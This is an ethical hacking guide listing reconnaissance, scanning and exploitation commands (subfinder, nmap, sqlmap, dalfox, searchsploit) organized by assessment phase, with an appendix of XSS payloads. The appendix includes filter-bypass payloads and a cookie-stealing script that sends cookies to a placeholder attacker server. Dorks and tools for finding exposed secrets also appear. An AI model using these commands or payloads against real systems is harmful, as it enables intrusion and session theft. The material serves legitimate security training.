Ethical Hacking Command Guide

This document provides a simple and detailed explanation of common commands and tools used for ethical hacking and security research, organized by the typical phases of a security assessment.

Command Index

Phase 1: Passive Reconnaissance (Information Gathering)

This phase involves collecting information without directly sending any suspicious traffic to the target.

1. FINDING SUBDOMAINS

- **Technique Type:** Passive Reconnaissance
- **Description:** The first step is to map all known assets of a target. Different tools query different public data sources, so it's best to combine them.
- **Tools:** subfinder, amass
- **The Workflow:**

```
# Step 1: Use multiple tools to collect subdomains into one file
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com >> subs.txt

# Pro-Tip: Remove duplicates to create a clean list
sort -u subs.txt -o unique_subs.txt
```

- **Why It's Useful:** No single tool finds everything. By combining the results from subfinder and amass (in passive mode), you create a more comprehensive list of potential targets.

2. FETCHING HISTORICAL URLs

- **Technique Type:** Passive Reconnaissance
- **Description:** Internet archives often store old URLs that are no longer linked on the active website, but might still be live and vulnerable.
- **Tool:** waybackurls
- **The Command:**

```
waybackurls target.com > wayback.txt
```

- **Why It's Useful:** An active crawler can only find what is currently linked. This tool finds what once existed by querying the Wayback Machine. This can reveal forgotten API endpoints, old admin panels, or pages with different, more vulnerable parameters.

3. SEARCH ENGINE DORKING & RECONNAISSANCE

- **Technique Type:** Passive Reconnaissance
- **Description:** "Dorking" is the art of using advanced search operators to find specific information that is not intended to be public. This is a foundational passive reconnaissance technique.
- **Common Dorking Commands:**
  - **Finding Admin Panels:** `site:target.com inurl:admin`
  - **Finding Login Pages:** `site:target.com inurl:login OR intitle:"login"`
  - **Finding Backup Files:** `site:target.com ext:bak OR ext:backup`

    - **Finding Specific File Types (e.g., config files):** `site:target.com ext:xml OR ext:conf OR ext:cnf OR ext:reg OR ext:inf OR ext:rdp OR ext:cfg OR ext:txt OR ext:ora OR ext:ini OR ext:env`
    - **Finding Document Files:** `site:target.com filetype:pdf OR filetype:doc OR filetype:xls`
- **Why It's Useful:** This is the ultimate passive technique for finding sensitive files and login pages without ever sending a single packet to the target's servers. Each search engine indexes the web differently, so checking multiple platforms can yield unique results.

Phase 2: Active Reconnaissance (Scanning & Enumeration)

This phase involves direct interaction with the targets you discovered to map them in greater detail.

4. PROBING & FINGERPRINTING

- **Technique Type:** Active Reconnaissance
- **Description:** After finding subdomains, you need to see which ones are live and what technologies they are running.
- **Tools:** httpx, whatweb
- **The Workflow:**

```
# Step 1: Find live web servers from your subdomain list
cat unique_subs.txt | httpx -ports 80,443,8080 -threads 200 > live_hosts.txt

# Step 2: Get detailed info (status code, title, tech) for live hosts
cat live_hosts.txt | httpx -sc -td -ip -title > enriched_hosts.txt
```

- **Why It's Useful:** This workflow filters thousands of potential subdomains down to a small, manageable list of live web servers. Enriching the data with status codes and technology helps you prioritize which targets to investigate first. `whatweb` provides an in-depth analysis of a single target's technology stack.
- **Pro-Tip: Filtering Enriched Results**
    - `cat enriched_hosts.txt | grep "200"` will show all pages that returned a "200 OK" status, meaning they are working pages.
    - `cat enriched_hosts.txt | grep "403"` will show all pages that are "Forbidden". This is often interesting because it means a page exists but you don't have permission, pointing to a potentially hidden or private area.

5. DIRECTORY BRUTE-FORCING

- **Technique Type:** Active Reconnaissance
- **Description:** This technique, also known as content discovery, involves using a wordlist to guess common directory and file names on a web server. It's essential for finding hidden login pages, admin panels, or sensitive files that are not linked anywhere on the website.
- **Tools:** gobuster, dirsearch, feroxbuster
- **The Commands:**

```
# Using gobuster
gobuster dir -u http://example.com -w
/usr/share/wordlists/<wordlistname.txt> -x php,html,txt -o
gobuster_results.txt

# Using dirsearch
dirsearch -u http://example.com -w /usr/share/wordlists/<wordlistname.txt> -
e php,html,txt -o dirsearch_results.txt

# Using feroxbuster
feroxbuster -u http://example.com -w /usr/share/wordlists/<wordlistname.txt>
-x php,html,txt -o feroxbuster_results.txt
```

- **Why It's Useful:** Essential for finding unlinked pages like admin panels, configuration files, and backups. The `-x` flag (or `-e` for dirsearch) is used to specify a list of file extensions to look for.
- **Pro-Tip: Choosing a Wordlist:** On Kali Linux, excellent wordlists are located at `/usr/share/wordlists/`. You can also find many great wordlists on GitHub, such as those from the SecLists project.
- **WARNING:** These tools are active and "noisy." They send a large number of requests to the target server, which may trigger security alerts or cause a Web Application Firewall (WAF) to block your IP address.

6. COMBINING & DE-DUPLICATING URLs

- **Technique Type:** Utility / Local
- **Description:** After running multiple discovery tools, you'll have several results files. This command combines them into a single master list with no duplicate entries.
- **The Command:**

```
# Example with 2 files
cat gobuster_results.txt dirsearch_results.txt | sort -u > all_urls.txt

# Example with 3 files
cat ffuf_results.txt gobuster_results.txt dirsearch_results.txt | sort -u >
all_urls.txt
```

- **Why It's Useful:** This is a fundamental data management technique. It allows you to combine the findings from different tools into a single, clean master list.

7. VISUAL RECONNAISSANCE

- **Technique Type:** Active Reconnaissance
- **Description:** It's impossible to manually browse hundreds of websites. These tools take screenshots, allowing you to visually identify interesting pages.
- **Tools:** EyeWitness, aquatone
- **The Commands:**

```
# For a detailed report with default credential checking
eyewitness -f live_hosts.txt --web -d eyewitness_report/

# For a quick overview report
cat live_hosts.txt | aquatone -out aquatone_report/
```

- **Why It's Useful:** This saves a huge amount of time. By scrolling through screenshots, you can instantly identify login portals, old/forgotten applications, default installation pages, and error messages that leak information.

8. CRAWLING FOR ENDPOINTS

- **Technique Type:** Active Reconnaissance
- **Description:** These tools "spider" websites to find all linked URLs, paths, and JavaScript files.
- **Tool:** katana
- **The Command:**

```
katana -list live_hosts.txt -depth 3 -o all_endpoints.txt
```

- **Why It's Useful:** `katana` automates the tedious process of clicking every link to map out a website, and it can uncover forgotten admin pages, old API versions, or test endpoints that are still live but not linked anywhere.

9. FINDING SECRETS IN JAVASCRIPT FILES

- **Technique Type:** Active Reconnaissance
- **Description:** Modern web applications embed a huge amount of information in their JavaScript files, including API endpoints, links, and sometimes even sensitive information like API keys.
- **Tools:** linkfinder, gf, SecretFinder
- **The Workflow:**

```
# Step 1: Filter your crawled endpoints to get a list of just JavaScript
files.
cat all_endpoints.txt | grep "\\.js$" > js_files.txt

# Step 2: Extract endpoints from a list of JS files
python3 linkfinder.py -i js_files.txt -o results.html

# Step 3: Search for hardcoded API keys and other secrets
cat js_files.txt | gf apikeys > secrets.txt
python3 SecretFinder.py -i js_files.txt -o cli >> secrets.txt
```*   **Alternative: Scanning a Single File:**
```bash
# Scan a single URL for endpoints
python3 linkfinder.py -i https://target.com/script.js -o results.html
```

```
# Scan a single URL for API keys
curl -s https://target.com/script.js | gf apikeys
```

- **Why It's Useful:** Developers frequently leave hardcoded API keys, sensitive endpoints, or comments in JavaScript files.

10. NETWORK & SERVICE SCANNING

- **Technique Type:** Active Reconnaissance
- **Description:** This process checks all open "ports" on a server, not just the website, to find other services like databases or FTP.
- **Tools:** masscan, nmap
- **The Workflow:**

```
# Step 1 (Optional but recommended): Find all open ports very quickly
masscan -p1-65535 [TARGET_IP] --rate 100000 --oL open_ports.txt

# Step 2: Run a detailed scan on the open ports to identify services
nmap -p $(cat open_ports.txt | awk -F " " '{print $4}' | tr '\n' ',') -sV -
sC -T4 [TARGET_IP]
```

- **Why It's Useful:** A server may be running a secure website on port 443, but have an old, vulnerable FTP server on another port.

11. ENDPOINT & PARAMETER DISCOVERY

- **Technique Type:** Active Reconnaissance
- **Description:** These tools discover the parameters that web application endpoints accept, including hidden ones.
- **Tools:** paramspider, arjun
- **The Commands:**

```
# Discover visible parameters from a list of URLs
paramspider -l all_endpoints.txt

# Brute-force for hidden parameters on a specific endpoint
arjun -u https://target.com/api/v1/user
```

- **Why It's Useful:** Finding hidden and undocumented parameters can be a goldmine for bugs like privilege escalation or information leakage.

12. CMS DETECTION & SCANNING

- **Technique Type:** Active Reconnaissance
- **Description:** Identifying and scanning a Content Management System (CMS) is a critical step.

- **Tools:** CMSeeK, wpscan
- **The Workflow:**

```
# Step 1: Identify the CMS
python3 cmseek.py -u https://target.com

# Step 2: If WordPress is detected, run the specialized scanner
wpscan --url https://target.com --enumerate vp,vt,u
```

- **Why It's Useful:** `CMSeeK` tells you what kind of system you are up against. If it's WordPress, `wpscan` can then check for thousands of known vulnerabilities in its plugins, themes, and core files.

Phase 3: Vulnerability Analysis & Exploitation

This phase involves actively testing for specific flaws and attempting to exploit them.

13. AUTOMATED VULNERABILITY SCANNING

- **Technique Type:** Vulnerability Analysis (Active)
- **Tools:** Nuclei, Nikto
- **The Commands:**

```
# Fast template-based scan for common misconfigurations
nuclei -l live_hosts.txt -t http/exposures

# Deep, noisy scan for a single host
nikto -h https://target.com
```

- **Why It's Useful:** `Nuclei` is the modern tool for quickly checking many hosts for thousands of known issues using community-based templates. `Nikto` is an older, very noisy tool that is excellent for an in-depth analysis on a single server to find dangerous files and outdated software.

14. SQL INJECTION TESTING

- **Technique Type:** Vulnerability Analysis (Active)
- **Description:** `sqlmap` is the definitive tool for automatically finding and exploiting SQL injection flaws.
- **Tool:** sqlmap
- **The Commands:**

```
# Test a specific URL you suspect is vulnerable
sqlmap -u "https://target.com/products.php?id=1" --dbs --batch

# Automatically find and test all forms on a page
sqlmap -u https://target.com --forms --crawl=2 --batch
```

15. CROSS-SITE SCRIPTING (XSS) TESTING

- **Technique Type:** Vulnerability Analysis (Active)
- **Description:** These tools automate the hunt for XSS vulnerabilities.
- **Tools:** Dalfox, XSStrike
- **The Workflow:**

```
# 1. First, find all URLs with parameters using a Phase 2 tool
paramspider -d target.com --output params.txt

# 2. Feed that list directly into Dalfox for automated testing
cat params.txt | dalfox pipe
```

- **Why It's Useful:** This workflow is highly efficient. You use one tool to find hundreds of potential entry points (`paramspider`) and then pipe that list directly into a specialized scanner (`Dalfox`) to automatically test all of them.

16. SPECIALIZED VULNERABILITY TESTING

- **Technique Type:** Vulnerability Analysis (Active)
- **Description:** These tools are purpose-built for high-impact vulnerability types.
  - **File Uploads (Fuxploider):** `python3 fuxploider.py -u https://target.com/upload.php`
  - **Exposed S3 Buckets (AWSBucketDump):** `python3 AWSBucketDump.py -l potential_bucket_names.txt -D`
  - **Exposed Git Repositories (GitDumper):** `python3 GitDumper.py https://target.com/.git/ ./output-folder/`

Phase 4: Post-Discovery (Utilities)

What to do after you find a piece of software or a potential vulnerability.

17. FINDING PUBLIC EXPLOITS

- **Technique Type:** Utility / Local
- **Description:** SearchSploit searches an offline copy of the Exploit-DB to find ready-to-use exploit code for a specific software version you've identified.
- **Tool:** searchsploit
- **The Command:**

```
# Find exploits for a specific version
searchsploit "wordpress 4.7"

# Find exploits and show their URL on exploit-db.com
searchsploit nostromo 1.9.6 -w
```

- **Pro-Tip:** Keep the offline database updated with `searchsploit -u`.

Appendix: Payloads & Cheatsheets

18. COMMON XSS PAYLOADS

- **Technique Type:** Payload / Cheatsheet
- **Description:** An XSS (Cross-Site Scripting) payload is a piece of code, usually JavaScript, that you inject into a website's input field or URL parameter to see if it will execute in a user's browser.
- **Basic Payloads (for quick checks):**
  - **Simple Alert:** `<script>alert(1)</script>`
  - **Alternative Alert:** `<sCrIpt>alert(1)</sCriPt>`
- **Event Handler Payloads (Bypassing `<script>` filters):**
  - **Image Error:** `<img src=x onerror=alert(1)>`
  - **Mouse Events:** `<svg><a MOUSEOVER=alert(1)>`
  - **Body Onload:** `<body onload=alert(1)>`
- **Advanced Payloads:**
  - **Stealing Cookies:** `<script>document.location='http://your-evil-server.com/cookie_stealer.php?c='+document.cookie</script>`
  - **JavaScript URI Scheme:** `<a href="javascript:alert(1)">Click me</a>`
- **Important Note on Encoding:** Many web applications will filter or "escape" special characters like `<`, `>`, `"`, and `'`. To bypass this, you often need to URL Encode or HTML Encode your payload.
- **Pro-Tip:** Use the Decoder module in Burp Suite to easily encode and decode your payloads for testing.